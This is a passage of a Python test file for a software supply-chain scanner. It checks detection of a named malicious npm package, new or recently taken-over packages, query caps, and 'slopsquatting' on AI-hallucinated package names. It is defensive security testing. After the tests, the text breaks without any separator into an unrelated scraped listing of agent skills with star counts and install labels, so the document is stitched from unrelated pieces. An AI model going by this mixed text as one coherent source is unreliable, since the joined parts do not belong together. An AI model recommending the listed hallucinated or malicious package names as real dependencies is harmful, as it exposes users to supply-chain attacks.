        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert not any(f.category == "orphan-commit" for f in findings)


class TestTanStackSetupIOC:
    """@tanstack/setup should be detected as known malicious."""

    def test_tanstack_setup_flagged(self, tmp_path):
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "dependencies": {"@tanstack/setup": "1.0.0"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        ioc_findings = [f for f in findings if f.category == "known-ioc"]
        assert len(ioc_findings) >= 1


class TestFreshnessDetection:
    """Tests for _check_freshness publication-age and maintainer-change signals."""

    def _reset_freshness_state(self):
        """Reset _FRESHNESS_STATE to a clean enabled configuration."""
        scanner._FRESHNESS_STATE["enabled"] = True
        scanner._FRESHNESS_STATE["offline"] = False
        scanner._FRESHNESS_STATE["queried"] = set()
        scanner._FRESHNESS_STATE["query_count"] = 0
        scanner._FRESHNESS_STATE["max_queries"] = 100
        # A scan run by an earlier test starts the wall-clock budget; clear it.
        scanner._FRESHNESS_STATE["started_at"] = None
        scanner._FRESHNESS_STATE["time_skipped"] = 0

    def test_signal_very_new(self):
        """Package published 12 hours ago -> high severity freshness-very-new."""
        from unittest.mock import patch
        from datetime import datetime, timezone, timedelta

        self._reset_freshness_state()
        now = datetime.now(timezone.utc)
        published = (now - timedelta(hours=12)).strftime("%Y-%m-%dT%H:%M:%SZ")

        mock_result = {
            "published": published,
            "version_count": 5,
            "maintainer": "alice",
            "prev_maintainer": "alice",
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result):
            findings = scanner._check_freshness(
                "npm", {"my-new-pkg": "1.0.0"}, "package.json"
            )

        cats = [f.category for f in findings]
        assert "freshness-very-new" in cats
        assert any(f.severity == "high" for f in findings if f.category == "freshness-very-new")

    def test_signal_recent(self):
        """Package published 3 days ago -> medium severity freshness-recent."""
        from unittest.mock import patch
        from datetime import datetime, timezone, timedelta

        self._reset_freshness_state()
        now = datetime.now(timezone.utc)
        published = (now - timedelta(days=3)).strftime("%Y-%m-%dT%H:%M:%SZ")

        mock_result = {
            "published": published,
            "version_count": 10,
            "maintainer": "bob",
            "prev_maintainer": "bob",
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result):
            findings = scanner._check_freshness(
                "npm", {"some-pkg": "2.0.0"}, "package.json"
            )

        cats = [f.category for f in findings]
        assert "freshness-recent" in cats
        assert any(f.severity == "medium" for f in findings if f.category == "freshness-recent")

    def test_signal_not_recent(self):
        """Package published 10 days ago -> no age-based freshness finding."""
        from unittest.mock import patch
        from datetime import datetime, timezone, timedelta

        self._reset_freshness_state()
        now = datetime.now(timezone.utc)
        published = (now - timedelta(days=10)).strftime("%Y-%m-%dT%H:%M:%SZ")

        mock_result = {
            "published": published,
            "version_count": 20,
            "maintainer": "carol",
            "prev_maintainer": "carol",
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result):
            findings = scanner._check_freshness(
                "npm", {"old-pkg": "3.0.0"}, "package.json"
            )

        cats = [f.category for f in findings]
        assert "freshness-very-new" not in cats
        assert "freshness-recent" not in cats

    def test_signal_brand_new(self):
        """version_count=1, published 15 days ago -> high freshness-brand-new-package."""
        from unittest.mock import patch
        from datetime import datetime, timezone, timedelta

        self._reset_freshness_state()
        now = datetime.now(timezone.utc)
        published = (now - timedelta(days=15)).strftime("%Y-%m-%dT%H:%M:%SZ")

        mock_result = {
            "published": published,
            "version_count": 1,
            "maintainer": "dave",
            "prev_maintainer": None,
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result):
            findings = scanner._check_freshness(
                "npm", {"brand-new-pkg": "0.1.0"}, "package.json"
            )

        cats = [f.category for f in findings]
        assert "freshness-brand-new-package" in cats
        assert any(f.severity == "high" for f in findings if f.category == "freshness-brand-new-package")

    def test_signal_not_brand_new(self):
        """version_count=50, published 2 days ago -> NOT brand-new-package (but may be recent)."""
        from unittest.mock import patch
        from datetime import datetime, timezone, timedelta

        self._reset_freshness_state()
        now = datetime.now(timezone.utc)
        published = (now - timedelta(days=2)).strftime("%Y-%m-%dT%H:%M:%SZ")

        mock_result = {
            "published": published,
            "version_count": 50,
            "maintainer": "eve",
            "prev_maintainer": "eve",
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result):
            findings = scanner._check_freshness(
                "npm", {"mature-pkg": "50.0.0"}, "package.json"
            )

        cats = [f.category for f in findings]
        assert "freshness-brand-new-package" not in cats
        # But freshness-recent IS expected (2 days < 7 days)
        assert "freshness-recent" in cats

    def test_signal_maintainer_takeover(self):
        """Maintainer changed -> high freshness-maintainer-takeover."""
        from unittest.mock import patch
        from datetime import datetime, timezone, timedelta

        self._reset_freshness_state()
        now = datetime.now(timezone.utc)
        published = (now - timedelta(days=60)).strftime("%Y-%m-%dT%H:%M:%SZ")

        mock_result = {
            "published": published,
            "version_count": 30,
            "maintainer": "mallory",
            "prev_maintainer": "alice",
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result):
            findings = scanner._check_freshness(
                "npm", {"hijacked-pkg": "4.0.0"}, "package.json"
            )

        cats = [f.category for f in findings]
        assert "freshness-maintainer-takeover" in cats
        assert any(f.severity == "high" for f in findings if f.category == "freshness-maintainer-takeover")

    def test_signal_same_maintainer(self):
        """Same maintainer -> no takeover finding."""
        from unittest.mock import patch
        from datetime import datetime, timezone, timedelta

        self._reset_freshness_state()
        now = datetime.now(timezone.utc)
        published = (now - timedelta(days=60)).strftime("%Y-%m-%dT%H:%M:%SZ")

        mock_result = {
            "published": published,
            "version_count": 30,
            "maintainer": "alice",
            "prev_maintainer": "alice",
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result):
            findings = scanner._check_freshness(
                "npm", {"safe-pkg": "5.0.0"}, "package.json"
            )

        cats = [f.category for f in findings]
        assert "freshness-maintainer-takeover" not in cats

    def test_popular_package_skip(self):
        """Popular packages (react) should NOT trigger freshness checks."""
        from unittest.mock import patch

        self._reset_freshness_state()

        mock_result = {
            "published": "2026-05-13T00:00:00Z",
            "version_count": 1,
            "maintainer": "mallory",
            "prev_maintainer": "facebook",
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result) as mock_fetch:
            findings = scanner._check_freshness(
                "npm", {"react": "19.0.0"}, "package.json"
            )

        # fetch should never be called for a popular package
        mock_fetch.assert_not_called()
        assert len(findings) == 0

    def test_query_cap(self):
        """150 packages with cap 100 -> finding about 50 skipped."""
        from unittest.mock import patch
        from datetime import datetime, timezone, timedelta

        self._reset_freshness_state()
        scanner._FRESHNESS_STATE["max_queries"] = 100

        now = datetime.now(timezone.utc)
        published = (now - timedelta(days=60)).strftime("%Y-%m-%dT%H:%M:%SZ")

        mock_result = {
            "published": published,
            "version_count": 30,
            "maintainer": "alice",
            "prev_maintainer": "alice",
        }

        # Build 150 unique package names (not in POPULAR_NPM)
        pkg_versions = {f"obscure-pkg-{i}": "1.0.0" for i in range(150)}

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result):
            findings = scanner._check_freshness(
                "npm", pkg_versions, "package.json"
            )

        cap_findings = [f for f in findings if f.category == "freshness-query-cap"]
        assert len(cap_findings) == 1
        assert "50 packages skipped" in cap_findings[0].description

    def test_skip_freshness_flag(self):
        """_FRESHNESS_STATE['enabled'] = False -> no findings at all."""
        from unittest.mock import patch

        self._reset_freshness_state()
        scanner._FRESHNESS_STATE["enabled"] = False

        mock_result = {
            "published": "2026-05-13T00:00:00Z",
            "version_count": 1,
            "maintainer": "mallory",
            "prev_maintainer": "alice",
        }

        with patch("vuln_feed.fetch_npm_freshness", return_value=mock_result) as mock_fetch:
            findings = scanner._check_freshness(
                "npm", {"evil-pkg": "1.0.0"}, "package.json"
            )

        mock_fetch.assert_not_called()
        assert len(findings) == 0


class TestSlopsquatting:
    """Tests for slopsquatting detection (AI-hallucinated package names)."""

    def test_npm_hallucinated_package(self, tmp_path):
        """package.json with corpus entry -> CRITICAL finding."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "my-app",
            "dependencies": {"llm-cache-proxy": "^1.0.0", "express": "^4.0.0"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        slop = [f for f in findings if f.category == "slopsquatting"]
        assert len(slop) >= 1
        assert slop[0].severity == "high"

    def test_npm_legit_package_no_slop(self, tmp_path):
        """Legitimate package -> no slopsquatting finding."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "my-app",
            "dependencies": {"express": "^4.0.0", "lodash": "^4.17.0"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        slop = [f for f in findings if f.category == "slopsquatting"]
        assert len(slop) == 0

    def test_pypi_hallucinated_package(self, tmp_path):
        """requirements.txt with PyPI corpus entry -> CRITICAL finding."""
        req = tmp_path / "requirements.txt"
        req.write_text("gpt4-python==1.0.0\nrequests==2.28.0\n")
        findings = scanner.scan_python_deps(str(req), "requirements.txt")
        slop = [f for f in findings if f.category == "slopsquatting"]
        assert len(slop) >= 1
        assert slop[0].severity == "high"

    def test_pypi_legit_no_slop(self, tmp_path):
        """Legitimate PyPI packages -> no slopsquatting finding."""
        req = tmp_path / "requirements.txt"
        req.write_text("requests==2.28.0\nflask==2.0.0\n")
        findings = scanner.scan_python_deps(str(req), "requirements.txt")
        slop = [f for f in findings if f.category == "slopsquatting"]
        assert len(slop) == 0

    def test_empty_corpus_graceful(self):
        """check_slopsquatting with empty input returns empty."""
        result = scanner.check_slopsquatting([], "npm")
        assert result == []
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 196kUpdated Claude CodeCodexVerifiedInstall